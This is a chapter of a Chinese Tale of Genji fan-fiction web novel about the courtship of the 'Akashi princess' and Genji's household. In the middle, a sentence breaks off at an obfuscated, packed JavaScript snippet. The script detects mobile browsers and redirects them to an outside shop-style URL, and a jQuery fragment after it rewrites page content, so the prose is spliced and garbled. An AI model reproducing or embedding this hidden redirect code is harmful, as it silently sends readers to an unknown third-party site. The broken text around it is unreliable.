57.求爱
作品:《[源氏物语]传闻中的明石姬》 在紫姬眨巴眨巴眼睛中,鸣音十分坚决地否认了自己成为大爹——那真是让人浑身难受。
“我会向外界说明你是我的妹妹,你叫我殿下就好。”鸣音不想让紫姬叫自己哥哥,可现在也不能说自己是“姐姐”。
“今后这里就是你的家,一切不要拘束。”鸣音揉了揉有些疼痛的脑壳。
一条院因为青春朝气的孩子的到来似乎也变得年轻起来。老夫人做主,为紫姬添置了侍奉的人手和富有才学的女教师,从弘徽殿女御那里拿到大笔赏赐的鸣音也出钱为紫姬购买了新颖的人偶和适合孩子学习的琴筝。
送给藤壶女御的侄女(皮一下)。
“殿下,我想在院子里玩。”下课后的紫姬在侍女们劝说“要安静”的声音下,抱着竹马来找鸣音。
“只要功课做完了,想玩就去玩吧。”本就是活泼的孩子,何必被绊住脚步呢?
“我会和她们说不要拘束你的。但你也要好好学习。”
“我要去近江一段时日,有什么需要的就像今天一样大胆开口,和花散里姨母说出来,不要委屈自己知道吗?”
“好哦!”
紫姬欢呼了一声,跑到了一条院因为西京的地皮便宜而修建得格外宽敞的大院子玩耍。
.
鸣音出发去近江的时候,正是一个明媚的好天气。京外早早就有了排队的使者,正等待依次出京。
“殿下您看——”
鸣音此时骑在马上昂首挺胸、自成一派潇洒气度,在卫门佐的提醒下,她顺着对方指的方向看过去,原来那边有两家的信使发生了冲突。
其中一人是她监视(划掉)观察过的、在二条院来往过的良清的人手,而另一个旗帜上带着藤原家家徽的寸步不让的信使。她没怎么注意过。
不知是左大臣还是右大臣的藤原家呢?如今京中最为威武的藤原也就这两家了。
如果是往日,鸣音还会跟踪一下源氏手下良清的行踪方便日后忽悠女御。但是今日?还是算了吧。
鸣音摇摇头,骑马离开。
她已经迫不及待前往近江打探辉君的所在了。
而此时的辉君?
荣子举着广告牌:我在明石很想你。
我在明石。
很想你。
.
荣子不骗荣子,荣子也不骗鸣音。
荣子真的在明石,忍受着一波又一波的骚扰。
自从那个不伦不类的“明石姬”称号被水军和自来水们传出圈之后,她如明石道人所愿,就收到了络绎不绝的求爱信,和接踵而至的,媒人。
“常陆的公子富比王侯……”
“筑紫的官员事业有成……”
“武藏的少爷风流英俊……”
“宇治的乡绅彬彬有礼……”
说亲的人叽叽喳喳,拼命向明石道人这个能做女儿主的人,抖落求亲者为数不多可以拿出去展示的优点口袋,将那些“体弱多病想要冲喜”、“已经年过而立有家有室”、“英俊但是家徒四壁等着吃你家绝户”、“有一堆孩子就差一个后妈”的算计拼命掩埋。
糊上一层巧克力后,屎也似乎有了糖果模样。
这样的求亲者当然不被明石道人放在眼里,就这些人,他思考一下他们滑稽可笑的样子就觉得大脑被玷污了,又怎么可能将他那神异出身的女儿嫁给这些烂泥巴?
讽刺的是,他现在还需要这些烂泥巴,用他们不断向外扩散的泥点子衬托女儿的“与众不同”,只为了吸引到真正的天潢贵胄。
“唉,真是一群乌合之众!”
面对父亲的抱怨,捏着一沓子香气熏人差点让她吐出来的荣子真想一口呕到他脸上。
这些屎壳郎,不都是您招过来的吗?
“这些信……”明石道人看见了荣子扔在一旁的散乱情书,叹了一口气。
“这些人还不配你亲自回信,父亲会找人代笔。”
“你也要好好练假名,等真正有价值的情书到来时,那才是你用上你的才华的时候。”
我的,才华?还是我的嫁妆、我送予那男人的礼物?
“呵。”荣子发出讥讽的气音,敷衍应付了一声后转身离开。
如今自己身上的限制随着求亲公子数量的井喷有了些许松动,是时候和母亲商量未来了。
.
明石道人营销的手段其实很粗糙简陋,就连不追星的人都能看出来他的拙劣技法,要是放在现代,他一出场可能就会被各家粉丝齐骂“哪里来的水军”。
但时也命也,在这个宣传概念更简陋的架空平安朝,他这一套居然和其他同样将女儿待价而沽的家人相比,更加有效,误打误撞地成功加速了“明石姬”的出圈。
如果没有他,不愿意成婚但拥有万贯家财的荣子也许会在几年之后同样成为“明石姬”,然后就像那些深居简出但还是频频被骚扰的女孩一样(比如被源氏骚扰的常陆亲王的女儿),被知道名号和财产(重点)的男人们觊觎。没有明石道人,过两年,京都的求爱信也依旧会络绎不绝;(注)
但有了明石道人的推动后,“明石姬”的名字就像是一个席卷岛国的传说,疯狂被越冬的信风吹席而过。在荣子十六岁的时候,这阵似乎是天意的风让她的名号传到了京都,传到了明石道人想要伸手够到、筛选出“合格爱婿”的地方。
“这是谁,藤原良清?”面对京都精致优雅的立文,明石道人终于有了一丝重视的神情。
洒金花笺的信件读完,明石道人将这封他认为“可以让明石姬一观”的求爱信递到了妻女手中。
“虽然是京都,可是京都也分为三六九等。我当年也是京中的近卫中将,比这个良清品级不知高了多少。”
“这个良清,不够格。”
“但是,若是他侍奉的主君,那位我打听出来的源氏公子,也就是堂妹的孩子,倒是可以一试。”
荣子瞄了一眼这还算字迹清雅但满篇都是对自己这个根本没见过的人极为油腻的“深情思念”,兴致缺缺。她撇了撇嘴就将情书递给这些年越发不爱和父亲说话的母亲。
“这良清如今任何官职,家中可有妻室儿女?他侍奉的源氏公子,就是你说的那外甥,人家是不是又已经有了正室夫人和得力的岳家,是不是成为了父亲,又是否瞧得起咱们家?”
心灰意冷之下,隐姬连敬称都欠奉,直接甩出连珠炮。
在女儿的事情上,她和丈夫早就不是一路人了。
若说当年她还记得曾祖母的相面,想要把女儿培养成世人称赞的女儿标杆,但这些年,她逐渐被荣子的笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17063550|190728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容感染,心中满是怜惜的母爱让她不愿磋磨掉荣子的天性,因而也就逐渐看开了预言,心中的执念也渐渐消除。
女儿若不想成婚她不强求,可是被明石道人压抑逼迫,若是一定要成家的话,那隐姬在意的一定是不能让孩子委屈,而不是只盯着对方亮闪闪的家世。
隐姬有预感,以丈夫的性子,怕不是要捅出什么大篓子。幸好她已经清点好自己的房产财务,和女儿说好万一出事的跑路计划了。
果然,即使说起源氏,明石道人还有些不满:
“可惜他已经没有了皇族身份了,以后也不知道能否成为权臣。即使年轻俊美,我也要多观察观察啊。”
“我那堂妹,到底福薄——若是她还在世,这源氏估计也不至于现在还是个少将。”
福薄吗?
一个活生生的、和自己流着同样骨血的生命的逝去,就只得到了一句不能为儿子谋取更大的官职的惋惜吗?
“姑母,若您魂魄有灵,是会惋惜不能庇佑孩子,还是会叹息自己永远停留在二十岁的芳华、想要重新没有束缚地活一回呢?”
荣子在心默念。
母鸟亡巢子鸟飞,世故不哀犹可悲。
.
万万没想到,明石道人不高明的鱼竿晃啊晃,没晃到那压根就看不起明石这个小地方的源氏,却意外钓到了,源氏的妻兄。
原来,自从北山寺偷窥玩耍女童失败而打道回府后,在二条院养病不用上朝的源氏百无聊赖。
他的两个最信任的家臣,也就是分别是两位乳母的儿子,良清和惟光想方设法讨他高兴。但是源氏在这年春天,背着他们偷偷干了件胆大包天、背刺亲爹的大事。面对家臣的讨好,他依旧愁眉苦脸,连之前殷勤追求的六条妃子的情书都懒得回复。
最是忠心不二的惟光为了公子不愿展颜的样子心疼抹泪,正想和同僚良清说说话,转头一看,良清居然还为了他那发神经一样的痴心,伤心哭泣呢!
一群癫公。
而源氏看到良清的失恋后,居然神奇地觉得这一切都是前世孽缘,众生皆为情爱烦恼,他也不必为了自己的错误整日悲伤。
良清莫名其妙的思念、被强迫的藤壶女御真实无比的痛苦,居然还让源氏圆满了!
恐怕就连老天都要目瞪口呆吧。
“来来来,我来帮你!”
在原本的剧情线里,这个时候的源氏应该已经开始臭名昭著的“某养成计划”,每天逃避左大臣的思念赖在二条院教导紫姬了。但是如今,时间线大致暂时未变,但剧情已经完全放飞了。虚度光阴的源氏主动请缨,帮良清写求爱信。
虽然他看不起那位明石的姬君,但是又不是配自己,那他当然要帮好兄弟啦!
源氏不仅自己上手帮忙写信,还热情地催促良清赶紧送信(让他看好戏)。在字数翻倍增加的时候,一向自比有子健之才的源氏也灵感枯竭,甚至写了一堆奇奇怪怪的古风小生口吻的信件。
一时间,二条院出去的信件激增,那段时间带着人手奉命监视源氏的鸣音也不明所以。
而这激增的信件不仅让荣子见惯了那“小生不才、愿得姬君青睐,呦西呦西”的油腻邪魅疯言疯语,更是吸引了好比苍蝇见到污秽就激动的、见到源氏就不自觉兴奋的,头中将。

